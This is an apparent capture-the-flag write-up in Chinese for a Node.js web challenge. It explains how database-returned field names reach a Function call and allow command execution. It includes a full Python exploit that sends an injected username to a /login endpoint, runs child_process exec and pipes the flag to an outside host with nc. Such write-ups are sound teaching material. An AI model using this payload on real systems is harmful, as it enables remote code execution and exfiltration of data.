Nebu1ea 韩磊 [1504895347@qq.com](mailto:1504895347@qq.com)

Web: 这题我出不了了

解题思路：

进入网站提示我们有秘密，发现是一点源码：



后台用node.js写的，和数据库进行连接，并加了巨几把多的waf，下面还有base64加密后的内容，解密看看：



试一下访问/printFlag路由，发现啥都没有，可能需要内网访问。那Flag有出处了，不在数据库里，就不是数据库注入。

除了数据库注入之外，又和nodejs组合起来，那就非常的像nodejs注入导致的命令执行漏洞，具体逻辑是通过数据库查询语句放回字段名，node后端将字段名经过不完整的转义拼接到Function中导致命令执行，常见为xss执行。

在此之前，还有个注册界面，随便注册一个nebu,123456，试着访问/login路由,发现有这个路由，那么就应该是在这注入了，注入脚本是orange在github分享的exp

Exp:

from random import randint

import requests

po={"http":None,"https":None}

payload = """','')/\*%s\*/returning(1)as"\\'/\*",(1)as"\\'\*/-(a=`child\_process`)/\*",(2)as"\\'\*/-(b=`/printFlag|nc 47.113.177.51 5555`)/\*",(3)as"\\'\*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '\*1024\*1024\*16)

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))

data = {

            'username': username+payload,

                'password': 'AAAAAA'

                }

print('ok')

r = requests.post('http://101.200.138.180:32031/login', data=data,proxies=po)

print(r.content)